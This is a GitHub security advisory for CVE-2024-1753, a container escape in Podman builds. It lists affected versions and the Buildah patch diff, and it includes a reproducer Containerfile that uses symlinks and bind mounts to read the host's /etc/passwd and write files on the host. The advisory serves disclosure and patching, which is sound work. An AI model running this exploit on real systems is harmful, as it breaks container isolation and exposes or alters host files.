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Podman affected by CVE-2024-1753 container escape at build time

High severity GitHub Reviewed Published Mar 18, 2024 in containers/podman • Updated May 24, 2024

Package

gomod github.com/containers/podman/v4 (Go)

Affected versions

< 4.9.4

Patched versions

4.9.4
gomod github.com/containers/podman/v5 (Go)
< 5.0.1
5.0.1

Description

Impact

What kind of vulnerability is it? Who is impacted?

Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.

Patches

From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman.

# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
 
 	"errors"
 
+	"github.com/containers/buildah/copier"
 	"github.com/containers/buildah/define"
 	"github.com/containers/buildah/internal"
 	internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
 	// buildkit parity: support absolute path for sources from current build context
 	if contextDir != "" {
 		// path should be /contextDir/specified path
-		newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+		evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+		if err != nil {
+			return newMount, "", err
+		}
+		newMount.Source = evaluated
 	} else {
 		// looks like its coming from `build run --mount=type=bind` allow using absolute path
 		// error out if no source is set

Reproducer

Prior to testing, as root, add a memorable username to /etc/passwd via adduser or your favorite editor. Also create a memorably named file in /. Suggest: touch /SHOULDNTSEETHIS.txt and adduser SHOULDNTSEETHIS. After testing, remember to remove both the file and the user from your system.

Use the following Containerfile

# cat ~/cve_Containerfile
FROM alpine as base

RUN ln -s / /rootdir
RUN ln -s /etc /etc2

FROM alpine

RUN echo "ls container root"
RUN ls -l /

RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 

To Test

Testing with an older version of Podman with the issue
setenforce 0
podman build -f ~/cve_Containerfile .

As part of the printout from the build, you should be able to see the contents of the /' and /etcdirectories, including the/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the/etc/passwdfile which will include theSHOULDNOTSEETHISuser that you created. In addition, the file/BIND_BREAKOUTand/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.

podman rm -a
podman rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
podman build -f ~/cve_Containerfile .

Neither the /BIND_BREAKEOUT or /etc/BIND_BREAKOUT2 files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd file, and nothing will be displayed from that file.

However, the files in both the / and /etc directories on the host system will be displayed.

Testing with the patch

Use the same commands as testing with an older version of Podman.

When running using the patched version of Podman, regardless of the setenforce settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT and the /etc/BIND_BREAKOUT will not exist on the host after the test completes.

NOTE: With the fix, the contents of the / and /etc directories, and the /etc/passwd file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the /BIND_BREAKOUT and /etc/BIND_BREAKOUT files will be created in the container image.

Workarounds

Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the / directory can be displayed. I.e., ls -alF / will show the contents of the host directory.

References

Unknown.

References

@TomSweeneyRedHat TomSweeneyRedHat published to containers/podman Mar 18, 2024
Published by the National Vulnerability Database Mar 18, 2024
Published to the GitHub Advisory Database Mar 28, 2024
Reviewed Mar 28, 2024
Last updated May 24, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

EPSS score

0.046%
(18th percentile)

Weaknesses

CVE ID

CVE-2024-1753

GHSA ID

GHSA-874v-pj72-92f3

Source code

Credits

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